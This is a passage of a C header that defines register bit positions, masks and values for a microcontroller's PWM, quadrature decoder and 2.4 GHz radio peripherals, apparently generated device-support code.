#define PWM_INTENCLR_STOPPED_Msk (0x1UL << PWM_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define PWM_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Register: PWM_ENABLE */
/* Description: PWM module enable register */
/* Bit 0 : Enable or disable PWM module */
#define PWM_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define PWM_ENABLE_ENABLE_Msk (0x1UL << PWM_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define PWM_ENABLE_ENABLE_Disabled (0UL) /*!< Disabled */
#define PWM_ENABLE_ENABLE_Enabled (1UL) /*!< Enable */
/* Register: PWM_MODE */
/* Description: Selects operating mode of the wave counter */
/* Bit 0 : Selects up or up and down as wave counter mode */
#define PWM_MODE_UPDOWN_Pos (0UL) /*!< Position of UPDOWN field. */
#define PWM_MODE_UPDOWN_Msk (0x1UL << PWM_MODE_UPDOWN_Pos) /*!< Bit mask of UPDOWN field. */
#define PWM_MODE_UPDOWN_Up (0UL) /*!< Up counter - edge aligned PWM duty-cycle */
#define PWM_MODE_UPDOWN_UpAndDown (1UL) /*!< Up and down counter - center aligned PWM duty cycle */
/* Register: PWM_COUNTERTOP */
/* Description: Value up to which the pulse generator counter counts */
/* Bits 14..0 : Value up to which the pulse generator counter counts. This register is ignored when DECODER.MODE=WaveForm and only values from RAM will be used. */
#define PWM_COUNTERTOP_COUNTERTOP_Pos (0UL) /*!< Position of COUNTERTOP field. */
#define PWM_COUNTERTOP_COUNTERTOP_Msk (0x7FFFUL << PWM_COUNTERTOP_COUNTERTOP_Pos) /*!< Bit mask of COUNTERTOP field. */
/* Register: PWM_PRESCALER */
/* Description: Configuration for PWM_CLK */
/* Bits 2..0 : Pre-scaler of PWM_CLK */
#define PWM_PRESCALER_PRESCALER_Pos (0UL) /*!< Position of PRESCALER field. */
#define PWM_PRESCALER_PRESCALER_Msk (0x7UL << PWM_PRESCALER_PRESCALER_Pos) /*!< Bit mask of PRESCALER field. */
#define PWM_PRESCALER_PRESCALER_DIV_1 (0UL) /*!< Divide by 1 (16MHz) */
#define PWM_PRESCALER_PRESCALER_DIV_2 (1UL) /*!< Divide by 2 ( 8MHz) */
#define PWM_PRESCALER_PRESCALER_DIV_4 (2UL) /*!< Divide by 4 ( 4MHz) */
#define PWM_PRESCALER_PRESCALER_DIV_8 (3UL) /*!< Divide by 8 ( 2MHz) */
#define PWM_PRESCALER_PRESCALER_DIV_16 (4UL) /*!< Divide by 16 ( 1MHz) */
#define PWM_PRESCALER_PRESCALER_DIV_32 (5UL) /*!< Divide by 32 ( 500kHz) */
#define PWM_PRESCALER_PRESCALER_DIV_64 (6UL) /*!< Divide by 64 ( 250kHz) */
#define PWM_PRESCALER_PRESCALER_DIV_128 (7UL) /*!< Divide by 128 ( 125kHz) */
/* Register: PWM_DECODER */
/* Description: Configuration of the decoder */
/* Bit 8 : Selects source for advancing the active sequence */
#define PWM_DECODER_MODE_Pos (8UL) /*!< Position of MODE field. */
#define PWM_DECODER_MODE_Msk (0x1UL << PWM_DECODER_MODE_Pos) /*!< Bit mask of MODE field. */
#define PWM_DECODER_MODE_RefreshCount (0UL) /*!< SEQ[n].REFRESH is used to determine loading internal compare registers */
#define PWM_DECODER_MODE_NextStep (1UL) /*!< NEXTSTEP task causes a new value to be loaded to internal compare registers */
/* Bits 2..0 : How a sequence is read from RAM and spread to the compare register */
#define PWM_DECODER_LOAD_Pos (0UL) /*!< Position of LOAD field. */
#define PWM_DECODER_LOAD_Msk (0x7UL << PWM_DECODER_LOAD_Pos) /*!< Bit mask of LOAD field. */
#define PWM_DECODER_LOAD_Common (0UL) /*!< 1st half word (16-bit) used in all PWM channels 0..3 */
#define PWM_DECODER_LOAD_Grouped (1UL) /*!< 1st half word (16-bit) used in channel 0..1; 2nd word in channel 2..3 */
#define PWM_DECODER_LOAD_Individual (2UL) /*!< 1st half word (16-bit) in ch.0; 2nd in ch.1; ...; 4th in ch.3 */
#define PWM_DECODER_LOAD_WaveForm (3UL) /*!< 1st half word (16-bit) in ch.0; 2nd in ch.1; ...; 4th in COUNTERTOP */
/* Register: PWM_LOOP */
/* Description: Amount of playback of a loop */
/* Bits 15..0 : Amount of playback of pattern cycles */
#define PWM_LOOP_CNT_Pos (0UL) /*!< Position of CNT field. */
#define PWM_LOOP_CNT_Msk (0xFFFFUL << PWM_LOOP_CNT_Pos) /*!< Bit mask of CNT field. */
#define PWM_LOOP_CNT_Disabled (0UL) /*!< Looping disabled (stop at the end of the sequence) */
/* Register: PWM_SEQ_PTR */
/* Description: Description cluster[0]: Beginning address in Data RAM of this sequence */
/* Bits 31..0 : Beginning address in Data RAM of this sequence */
#define PWM_SEQ_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define PWM_SEQ_PTR_PTR_Msk (0xFFFFFFFFUL << PWM_SEQ_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: PWM_SEQ_CNT */
/* Description: Description cluster[0]: Amount of values (duty cycles) in this sequence */
/* Bits 14..0 : Amount of values (duty cycles) in this sequence */
#define PWM_SEQ_CNT_CNT_Pos (0UL) /*!< Position of CNT field. */
#define PWM_SEQ_CNT_CNT_Msk (0x7FFFUL << PWM_SEQ_CNT_CNT_Pos) /*!< Bit mask of CNT field. */
#define PWM_SEQ_CNT_CNT_Disabled (0UL) /*!< Sequence is disabled, and shall not be started as it is empty */
/* Register: PWM_SEQ_REFRESH */
/* Description: Description cluster[0]: Amount of additional PWM periods between samples loaded into compare register */
/* Bits 23..0 : Amount of additional PWM periods between samples loaded into compare register (load every REFRESH.CNT+1 PWM periods) */
#define PWM_SEQ_REFRESH_CNT_Pos (0UL) /*!< Position of CNT field. */
#define PWM_SEQ_REFRESH_CNT_Msk (0xFFFFFFUL << PWM_SEQ_REFRESH_CNT_Pos) /*!< Bit mask of CNT field. */
#define PWM_SEQ_REFRESH_CNT_Continuous (0UL) /*!< Update every PWM period */
/* Register: PWM_SEQ_ENDDELAY */
/* Description: Description cluster[0]: Time added after the sequence */
/* Bits 23..0 : Time added after the sequence in PWM periods */
#define PWM_SEQ_ENDDELAY_CNT_Pos (0UL) /*!< Position of CNT field. */
#define PWM_SEQ_ENDDELAY_CNT_Msk (0xFFFFFFUL << PWM_SEQ_ENDDELAY_CNT_Pos) /*!< Bit mask of CNT field. */
/* Register: PWM_PSEL_OUT */
/* Description: Description collection[0]: Output pin select for PWM channel 0 */
/* Bit 31 : Connection */
#define PWM_PSEL_OUT_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define PWM_PSEL_OUT_CONNECT_Msk (0x1UL << PWM_PSEL_OUT_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define PWM_PSEL_OUT_CONNECT_Connected (0UL) /*!< Connect */
#define PWM_PSEL_OUT_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define PWM_PSEL_OUT_PIN_Pos (0UL) /*!< Position of PIN field. */
#define PWM_PSEL_OUT_PIN_Msk (0x1FUL << PWM_PSEL_OUT_PIN_Pos) /*!< Bit mask of PIN field. */
/* Peripheral: QDEC */
/* Description: Quadrature Decoder */
/* Register: QDEC_SHORTS */
/* Description: Shortcut register */
/* Bit 6 : Shortcut between SAMPLERDY event and READCLRACC task */
#define QDEC_SHORTS_SAMPLERDY_READCLRACC_Pos (6UL) /*!< Position of SAMPLERDY_READCLRACC field. */
#define QDEC_SHORTS_SAMPLERDY_READCLRACC_Msk (0x1UL << QDEC_SHORTS_SAMPLERDY_READCLRACC_Pos) /*!< Bit mask of SAMPLERDY_READCLRACC field. */
#define QDEC_SHORTS_SAMPLERDY_READCLRACC_Disabled (0UL) /*!< Disable shortcut */
#define QDEC_SHORTS_SAMPLERDY_READCLRACC_Enabled (1UL) /*!< Enable shortcut */
/* Bit 5 : Shortcut between DBLRDY event and STOP task */
#define QDEC_SHORTS_DBLRDY_STOP_Pos (5UL) /*!< Position of DBLRDY_STOP field. */
#define QDEC_SHORTS_DBLRDY_STOP_Msk (0x1UL << QDEC_SHORTS_DBLRDY_STOP_Pos) /*!< Bit mask of DBLRDY_STOP field. */
#define QDEC_SHORTS_DBLRDY_STOP_Disabled (0UL) /*!< Disable shortcut */
#define QDEC_SHORTS_DBLRDY_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 4 : Shortcut between DBLRDY event and RDCLRDBL task */
#define QDEC_SHORTS_DBLRDY_RDCLRDBL_Pos (4UL) /*!< Position of DBLRDY_RDCLRDBL field. */
#define QDEC_SHORTS_DBLRDY_RDCLRDBL_Msk (0x1UL << QDEC_SHORTS_DBLRDY_RDCLRDBL_Pos) /*!< Bit mask of DBLRDY_RDCLRDBL field. */
#define QDEC_SHORTS_DBLRDY_RDCLRDBL_Disabled (0UL) /*!< Disable shortcut */
#define QDEC_SHORTS_DBLRDY_RDCLRDBL_Enabled (1UL) /*!< Enable shortcut */
/* Bit 3 : Shortcut between REPORTRDY event and STOP task */
#define QDEC_SHORTS_REPORTRDY_STOP_Pos (3UL) /*!< Position of REPORTRDY_STOP field. */
#define QDEC_SHORTS_REPORTRDY_STOP_Msk (0x1UL << QDEC_SHORTS_REPORTRDY_STOP_Pos) /*!< Bit mask of REPORTRDY_STOP field. */
#define QDEC_SHORTS_REPORTRDY_STOP_Disabled (0UL) /*!< Disable shortcut */
#define QDEC_SHORTS_REPORTRDY_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 2 : Shortcut between REPORTRDY event and RDCLRACC task */
#define QDEC_SHORTS_REPORTRDY_RDCLRACC_Pos (2UL) /*!< Position of REPORTRDY_RDCLRACC field. */
#define QDEC_SHORTS_REPORTRDY_RDCLRACC_Msk (0x1UL << QDEC_SHORTS_REPORTRDY_RDCLRACC_Pos) /*!< Bit mask of REPORTRDY_RDCLRACC field. */
#define QDEC_SHORTS_REPORTRDY_RDCLRACC_Disabled (0UL) /*!< Disable shortcut */
#define QDEC_SHORTS_REPORTRDY_RDCLRACC_Enabled (1UL) /*!< Enable shortcut */
/* Bit 1 : Shortcut between SAMPLERDY event and STOP task */
#define QDEC_SHORTS_SAMPLERDY_STOP_Pos (1UL) /*!< Position of SAMPLERDY_STOP field. */
#define QDEC_SHORTS_SAMPLERDY_STOP_Msk (0x1UL << QDEC_SHORTS_SAMPLERDY_STOP_Pos) /*!< Bit mask of SAMPLERDY_STOP field. */
#define QDEC_SHORTS_SAMPLERDY_STOP_Disabled (0UL) /*!< Disable shortcut */
#define QDEC_SHORTS_SAMPLERDY_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between REPORTRDY event and READCLRACC task */
#define QDEC_SHORTS_REPORTRDY_READCLRACC_Pos (0UL) /*!< Position of REPORTRDY_READCLRACC field. */
#define QDEC_SHORTS_REPORTRDY_READCLRACC_Msk (0x1UL << QDEC_SHORTS_REPORTRDY_READCLRACC_Pos) /*!< Bit mask of REPORTRDY_READCLRACC field. */
#define QDEC_SHORTS_REPORTRDY_READCLRACC_Disabled (0UL) /*!< Disable shortcut */
#define QDEC_SHORTS_REPORTRDY_READCLRACC_Enabled (1UL) /*!< Enable shortcut */
/* Register: QDEC_INTENSET */
/* Description: Enable interrupt */
/* Bit 4 : Write '1' to Enable interrupt for STOPPED event */
#define QDEC_INTENSET_STOPPED_Pos (4UL) /*!< Position of STOPPED field. */
#define QDEC_INTENSET_STOPPED_Msk (0x1UL << QDEC_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define QDEC_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for DBLRDY event */
#define QDEC_INTENSET_DBLRDY_Pos (3UL) /*!< Position of DBLRDY field. */
#define QDEC_INTENSET_DBLRDY_Msk (0x1UL << QDEC_INTENSET_DBLRDY_Pos) /*!< Bit mask of DBLRDY field. */
#define QDEC_INTENSET_DBLRDY_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENSET_DBLRDY_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENSET_DBLRDY_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for ACCOF event */
#define QDEC_INTENSET_ACCOF_Pos (2UL) /*!< Position of ACCOF field. */
#define QDEC_INTENSET_ACCOF_Msk (0x1UL << QDEC_INTENSET_ACCOF_Pos) /*!< Bit mask of ACCOF field. */
#define QDEC_INTENSET_ACCOF_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENSET_ACCOF_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENSET_ACCOF_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for REPORTRDY event */
#define QDEC_INTENSET_REPORTRDY_Pos (1UL) /*!< Position of REPORTRDY field. */
#define QDEC_INTENSET_REPORTRDY_Msk (0x1UL << QDEC_INTENSET_REPORTRDY_Pos) /*!< Bit mask of REPORTRDY field. */
#define QDEC_INTENSET_REPORTRDY_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENSET_REPORTRDY_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENSET_REPORTRDY_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for SAMPLERDY event */
#define QDEC_INTENSET_SAMPLERDY_Pos (0UL) /*!< Position of SAMPLERDY field. */
#define QDEC_INTENSET_SAMPLERDY_Msk (0x1UL << QDEC_INTENSET_SAMPLERDY_Pos) /*!< Bit mask of SAMPLERDY field. */
#define QDEC_INTENSET_SAMPLERDY_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENSET_SAMPLERDY_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENSET_SAMPLERDY_Set (1UL) /*!< Enable */
/* Register: QDEC_INTENCLR */
/* Description: Disable interrupt */
/* Bit 4 : Write '1' to Disable interrupt for STOPPED event */
#define QDEC_INTENCLR_STOPPED_Pos (4UL) /*!< Position of STOPPED field. */
#define QDEC_INTENCLR_STOPPED_Msk (0x1UL << QDEC_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define QDEC_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for DBLRDY event */
#define QDEC_INTENCLR_DBLRDY_Pos (3UL) /*!< Position of DBLRDY field. */
#define QDEC_INTENCLR_DBLRDY_Msk (0x1UL << QDEC_INTENCLR_DBLRDY_Pos) /*!< Bit mask of DBLRDY field. */
#define QDEC_INTENCLR_DBLRDY_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENCLR_DBLRDY_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENCLR_DBLRDY_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for ACCOF event */
#define QDEC_INTENCLR_ACCOF_Pos (2UL) /*!< Position of ACCOF field. */
#define QDEC_INTENCLR_ACCOF_Msk (0x1UL << QDEC_INTENCLR_ACCOF_Pos) /*!< Bit mask of ACCOF field. */
#define QDEC_INTENCLR_ACCOF_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENCLR_ACCOF_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENCLR_ACCOF_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for REPORTRDY event */
#define QDEC_INTENCLR_REPORTRDY_Pos (1UL) /*!< Position of REPORTRDY field. */
#define QDEC_INTENCLR_REPORTRDY_Msk (0x1UL << QDEC_INTENCLR_REPORTRDY_Pos) /*!< Bit mask of REPORTRDY field. */
#define QDEC_INTENCLR_REPORTRDY_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENCLR_REPORTRDY_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENCLR_REPORTRDY_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for SAMPLERDY event */
#define QDEC_INTENCLR_SAMPLERDY_Pos (0UL) /*!< Position of SAMPLERDY field. */
#define QDEC_INTENCLR_SAMPLERDY_Msk (0x1UL << QDEC_INTENCLR_SAMPLERDY_Pos) /*!< Bit mask of SAMPLERDY field. */
#define QDEC_INTENCLR_SAMPLERDY_Disabled (0UL) /*!< Read: Disabled */
#define QDEC_INTENCLR_SAMPLERDY_Enabled (1UL) /*!< Read: Enabled */
#define QDEC_INTENCLR_SAMPLERDY_Clear (1UL) /*!< Disable */
/* Register: QDEC_ENABLE */
/* Description: Enable the quadrature decoder */
/* Bit 0 : Enable or disable the quadrature decoder */
#define QDEC_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define QDEC_ENABLE_ENABLE_Msk (0x1UL << QDEC_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define QDEC_ENABLE_ENABLE_Disabled (0UL) /*!< Disable */
#define QDEC_ENABLE_ENABLE_Enabled (1UL) /*!< Enable */
/* Register: QDEC_LEDPOL */
/* Description: LED output pin polarity */
/* Bit 0 : LED output pin polarity */
#define QDEC_LEDPOL_LEDPOL_Pos (0UL) /*!< Position of LEDPOL field. */
#define QDEC_LEDPOL_LEDPOL_Msk (0x1UL << QDEC_LEDPOL_LEDPOL_Pos) /*!< Bit mask of LEDPOL field. */
#define QDEC_LEDPOL_LEDPOL_ActiveLow (0UL) /*!< Led active on output pin low */
#define QDEC_LEDPOL_LEDPOL_ActiveHigh (1UL) /*!< Led active on output pin high */
/* Register: QDEC_SAMPLEPER */
/* Description: Sample period */
/* Bits 3..0 : Sample period. The SAMPLE register will be updated for every new sample */
#define QDEC_SAMPLEPER_SAMPLEPER_Pos (0UL) /*!< Position of SAMPLEPER field. */
#define QDEC_SAMPLEPER_SAMPLEPER_Msk (0xFUL << QDEC_SAMPLEPER_SAMPLEPER_Pos) /*!< Bit mask of SAMPLEPER field. */
#define QDEC_SAMPLEPER_SAMPLEPER_128us (0UL) /*!< 128 us */
#define QDEC_SAMPLEPER_SAMPLEPER_256us (1UL) /*!< 256 us */
#define QDEC_SAMPLEPER_SAMPLEPER_512us (2UL) /*!< 512 us */
#define QDEC_SAMPLEPER_SAMPLEPER_1024us (3UL) /*!< 1024 us */
#define QDEC_SAMPLEPER_SAMPLEPER_2048us (4UL) /*!< 2048 us */
#define QDEC_SAMPLEPER_SAMPLEPER_4096us (5UL) /*!< 4096 us */
#define QDEC_SAMPLEPER_SAMPLEPER_8192us (6UL) /*!< 8192 us */
#define QDEC_SAMPLEPER_SAMPLEPER_16384us (7UL) /*!< 16384 us */
#define QDEC_SAMPLEPER_SAMPLEPER_32ms (8UL) /*!< 32768 us */
#define QDEC_SAMPLEPER_SAMPLEPER_65ms (9UL) /*!< 65536 us */
#define QDEC_SAMPLEPER_SAMPLEPER_131ms (10UL) /*!< 131072 us */
/* Register: QDEC_SAMPLE */
/* Description: Motion sample value */
/* Bits 31..0 : Last motion sample */
#define QDEC_SAMPLE_SAMPLE_Pos (0UL) /*!< Position of SAMPLE field. */
#define QDEC_SAMPLE_SAMPLE_Msk (0xFFFFFFFFUL << QDEC_SAMPLE_SAMPLE_Pos) /*!< Bit mask of SAMPLE field. */
/* Register: QDEC_REPORTPER */
/* Description: Number of samples to be taken before REPORTRDY and DBLRDY events can be generated */
/* Bits 3..0 : Specifies the number of samples to be accumulated in the ACC register before the REPORTRDY and DBLRDY events can be generated */
#define QDEC_REPORTPER_REPORTPER_Pos (0UL) /*!< Position of REPORTPER field. */
#define QDEC_REPORTPER_REPORTPER_Msk (0xFUL << QDEC_REPORTPER_REPORTPER_Pos) /*!< Bit mask of REPORTPER field. */
#define QDEC_REPORTPER_REPORTPER_10Smpl (0UL) /*!< 10 samples / report */
#define QDEC_REPORTPER_REPORTPER_40Smpl (1UL) /*!< 40 samples / report */
#define QDEC_REPORTPER_REPORTPER_80Smpl (2UL) /*!< 80 samples / report */
#define QDEC_REPORTPER_REPORTPER_120Smpl (3UL) /*!< 120 samples / report */
#define QDEC_REPORTPER_REPORTPER_160Smpl (4UL) /*!< 160 samples / report */
#define QDEC_REPORTPER_REPORTPER_200Smpl (5UL) /*!< 200 samples / report */
#define QDEC_REPORTPER_REPORTPER_240Smpl (6UL) /*!< 240 samples / report */
#define QDEC_REPORTPER_REPORTPER_280Smpl (7UL) /*!< 280 samples / report */
#define QDEC_REPORTPER_REPORTPER_1Smpl (8UL) /*!< 1 sample / report */
/* Register: QDEC_ACC */
/* Description: Register accumulating the valid transitions */
/* Bits 31..0 : Register accumulating all valid samples (not double transition) read from the SAMPLE register */
#define QDEC_ACC_ACC_Pos (0UL) /*!< Position of ACC field. */
#define QDEC_ACC_ACC_Msk (0xFFFFFFFFUL << QDEC_ACC_ACC_Pos) /*!< Bit mask of ACC field. */
/* Register: QDEC_ACCREAD */
/* Description: Snapshot of the ACC register, updated by the READCLRACC or RDCLRACC task */
/* Bits 31..0 : Snapshot of the ACC register. */
#define QDEC_ACCREAD_ACCREAD_Pos (0UL) /*!< Position of ACCREAD field. */
#define QDEC_ACCREAD_ACCREAD_Msk (0xFFFFFFFFUL << QDEC_ACCREAD_ACCREAD_Pos) /*!< Bit mask of ACCREAD field. */
/* Register: QDEC_PSEL_LED */
/* Description: Pin select for LED signal */
/* Bit 31 : Connection */
#define QDEC_PSEL_LED_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define QDEC_PSEL_LED_CONNECT_Msk (0x1UL << QDEC_PSEL_LED_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define QDEC_PSEL_LED_CONNECT_Connected (0UL) /*!< Connect */
#define QDEC_PSEL_LED_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define QDEC_PSEL_LED_PIN_Pos (0UL) /*!< Position of PIN field. */
#define QDEC_PSEL_LED_PIN_Msk (0x1FUL << QDEC_PSEL_LED_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: QDEC_PSEL_A */
/* Description: Pin select for A signal */
/* Bit 31 : Connection */
#define QDEC_PSEL_A_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define QDEC_PSEL_A_CONNECT_Msk (0x1UL << QDEC_PSEL_A_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define QDEC_PSEL_A_CONNECT_Connected (0UL) /*!< Connect */
#define QDEC_PSEL_A_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define QDEC_PSEL_A_PIN_Pos (0UL) /*!< Position of PIN field. */
#define QDEC_PSEL_A_PIN_Msk (0x1FUL << QDEC_PSEL_A_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: QDEC_PSEL_B */
/* Description: Pin select for B signal */
/* Bit 31 : Connection */
#define QDEC_PSEL_B_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define QDEC_PSEL_B_CONNECT_Msk (0x1UL << QDEC_PSEL_B_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define QDEC_PSEL_B_CONNECT_Connected (0UL) /*!< Connect */
#define QDEC_PSEL_B_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define QDEC_PSEL_B_PIN_Pos (0UL) /*!< Position of PIN field. */
#define QDEC_PSEL_B_PIN_Msk (0x1FUL << QDEC_PSEL_B_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: QDEC_DBFEN */
/* Description: Enable input debounce filters */
/* Bit 0 : Enable input debounce filters */
#define QDEC_DBFEN_DBFEN_Pos (0UL) /*!< Position of DBFEN field. */
#define QDEC_DBFEN_DBFEN_Msk (0x1UL << QDEC_DBFEN_DBFEN_Pos) /*!< Bit mask of DBFEN field. */
#define QDEC_DBFEN_DBFEN_Disabled (0UL) /*!< Debounce input filters disabled */
#define QDEC_DBFEN_DBFEN_Enabled (1UL) /*!< Debounce input filters enabled */
/* Register: QDEC_LEDPRE */
/* Description: Time period the LED is switched ON prior to sampling */
/* Bits 8..0 : Period in us the LED is switched on prior to sampling */
#define QDEC_LEDPRE_LEDPRE_Pos (0UL) /*!< Position of LEDPRE field. */
#define QDEC_LEDPRE_LEDPRE_Msk (0x1FFUL << QDEC_LEDPRE_LEDPRE_Pos) /*!< Bit mask of LEDPRE field. */
/* Register: QDEC_ACCDBL */
/* Description: Register accumulating the number of detected double transitions */
/* Bits 3..0 : Register accumulating the number of detected double or illegal transitions. ( SAMPLE = 2 ). */
#define QDEC_ACCDBL_ACCDBL_Pos (0UL) /*!< Position of ACCDBL field. */
#define QDEC_ACCDBL_ACCDBL_Msk (0xFUL << QDEC_ACCDBL_ACCDBL_Pos) /*!< Bit mask of ACCDBL field. */
/* Register: QDEC_ACCDBLREAD */
/* Description: Snapshot of the ACCDBL, updated by the READCLRACC or RDCLRDBL task */
/* Bits 3..0 : Snapshot of the ACCDBL register. This field is updated when the READCLRACC or RDCLRDBL task is triggered. */
#define QDEC_ACCDBLREAD_ACCDBLREAD_Pos (0UL) /*!< Position of ACCDBLREAD field. */
#define QDEC_ACCDBLREAD_ACCDBLREAD_Msk (0xFUL << QDEC_ACCDBLREAD_ACCDBLREAD_Pos) /*!< Bit mask of ACCDBLREAD field. */
/* Peripheral: RADIO */
/* Description: 2.4 GHz Radio */
/* Register: RADIO_SHORTS */
/* Description: Shortcut register */
/* Bit 8 : Shortcut between DISABLED event and RSSISTOP task */
#define RADIO_SHORTS_DISABLED_RSSISTOP_Pos (8UL) /*!< Position of DISABLED_RSSISTOP field. */
#define RADIO_SHORTS_DISABLED_RSSISTOP_Msk (0x1UL << RADIO_SHORTS_DISABLED_RSSISTOP_Pos) /*!< Bit mask of DISABLED_RSSISTOP field. */
#define RADIO_SHORTS_DISABLED_RSSISTOP_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_DISABLED_RSSISTOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 6 : Shortcut between ADDRESS event and BCSTART task */
#define RADIO_SHORTS_ADDRESS_BCSTART_Pos (6UL) /*!< Position of ADDRESS_BCSTART field. */
#define RADIO_SHORTS_ADDRESS_BCSTART_Msk (0x1UL << RADIO_SHORTS_ADDRESS_BCSTART_Pos) /*!< Bit mask of ADDRESS_BCSTART field. */
#define RADIO_SHORTS_ADDRESS_BCSTART_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_ADDRESS_BCSTART_Enabled (1UL) /*!< Enable shortcut */
/* Bit 5 : Shortcut between END event and START task */
#define RADIO_SHORTS_END_START_Pos (5UL) /*!< Position of END_START field. */
#define RADIO_SHORTS_END_START_Msk (0x1UL << RADIO_SHORTS_END_START_Pos) /*!< Bit mask of END_START field. */
#define RADIO_SHORTS_END_START_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_END_START_Enabled (1UL) /*!< Enable shortcut */
/* Bit 4 : Shortcut between ADDRESS event and RSSISTART task */
#define RADIO_SHORTS_ADDRESS_RSSISTART_Pos (4UL) /*!< Position of ADDRESS_RSSISTART field. */
#define RADIO_SHORTS_ADDRESS_RSSISTART_Msk (0x1UL << RADIO_SHORTS_ADDRESS_RSSISTART_Pos) /*!< Bit mask of ADDRESS_RSSISTART field. */
#define RADIO_SHORTS_ADDRESS_RSSISTART_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_ADDRESS_RSSISTART_Enabled (1UL) /*!< Enable shortcut */
/* Bit 3 : Shortcut between DISABLED event and RXEN task */
#define RADIO_SHORTS_DISABLED_RXEN_Pos (3UL) /*!< Position of DISABLED_RXEN field. */
#define RADIO_SHORTS_DISABLED_RXEN_Msk (0x1UL << RADIO_SHORTS_DISABLED_RXEN_Pos) /*!< Bit mask of DISABLED_RXEN field. */
#define RADIO_SHORTS_DISABLED_RXEN_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_DISABLED_RXEN_Enabled (1UL) /*!< Enable shortcut */
/* Bit 2 : Shortcut between DISABLED event and TXEN task */
#define RADIO_SHORTS_DISABLED_TXEN_Pos (2UL) /*!< Position of DISABLED_TXEN field. */
#define RADIO_SHORTS_DISABLED_TXEN_Msk (0x1UL << RADIO_SHORTS_DISABLED_TXEN_Pos) /*!< Bit mask of DISABLED_TXEN field. */
#define RADIO_SHORTS_DISABLED_TXEN_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_DISABLED_TXEN_Enabled (1UL) /*!< Enable shortcut */
/* Bit 1 : Shortcut between END event and DISABLE task */
#define RADIO_SHORTS_END_DISABLE_Pos (1UL) /*!< Position of END_DISABLE field. */
#define RADIO_SHORTS_END_DISABLE_Msk (0x1UL << RADIO_SHORTS_END_DISABLE_Pos) /*!< Bit mask of END_DISABLE field. */
#define RADIO_SHORTS_END_DISABLE_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_END_DISABLE_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between READY event and START task */
#define RADIO_SHORTS_READY_START_Pos (0UL) /*!< Position of READY_START field. */
#define RADIO_SHORTS_READY_START_Msk (0x1UL << RADIO_SHORTS_READY_START_Pos) /*!< Bit mask of READY_START field. */
#define RADIO_SHORTS_READY_START_Disabled (0UL) /*!< Disable shortcut */
#define RADIO_SHORTS_READY_START_Enabled (1UL) /*!< Enable shortcut */
